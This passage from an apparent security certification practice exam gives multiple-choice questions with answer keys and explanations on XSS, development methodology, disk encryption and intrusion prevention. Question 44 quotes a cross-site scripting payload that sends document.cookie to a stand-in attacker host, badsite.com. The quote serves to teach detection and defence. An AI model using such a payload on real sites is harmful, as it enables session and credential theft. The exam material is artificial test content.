The CISO has not selected the correct controls and the audit findings should be assigned to them instead of the CFO.
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D
Security controls are generally never 100% effective and gaps should be explained to stakeholders and managed accordingly.
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Correct answerD
ExplanationSecurity controls can never be run 100% effective and is mainly observed as a risk mitigation strategy thus the gaps should be explained to all stakeholders and managed accordingly.
Question 44
Single choice
A security administrator notices the following line in a server's security log: <input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cooki e</script>') + "'; The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?
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A
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B
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C
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D
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E
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Correct answerA
ExplanationThe attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall. A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data. A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.
Question 45
Single choice
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?
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A
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B
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C
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D
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Question 46
Single choice
A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?
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A
Encryption of each individual partition
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B
Encryption of the SSD at the file level
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C
FDE of each logical volume on the SSD
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D
FDE of the entire SSD as a single disk
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Correct answerA
ExplanationIn this question, we have multiple operating system installations on a single disk. Some operating systems store their boot loader in the MBR of the disk. However, some operating systems install their boot loader outside the MBR especially when multiple operating systems are installed. We need to encrypt as much data as possible but we cannot encrypt the boot loaders. This would prevent the operating systems from loading. Therefore, the solution is to encrypt each individual partition separately.
Question 47
Single choice
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
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A
Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
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B
Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
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C
Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
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D
Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.
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Correct answerD
ExplanationGood preventive security practices are a must. These include installing and keeping firewall policies carefully matched to business and application needs, keeping antivirus software updated, blocking potentially harmful file attachments and keeping all systems patched against known vulnerabilities. Vulnerability scans are a good means of measuring the effectiveness of preventive procedures. Real-time protection: Deploy inline intrusion-prevention systems (IPS) that offer comprehensive protection. When considering an IPS, seek the following capabilities: network-level protection, application integrity checking, application protocol Request for Comment (RFC) validation, content validation and forensics capability. In this case it would be behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed.
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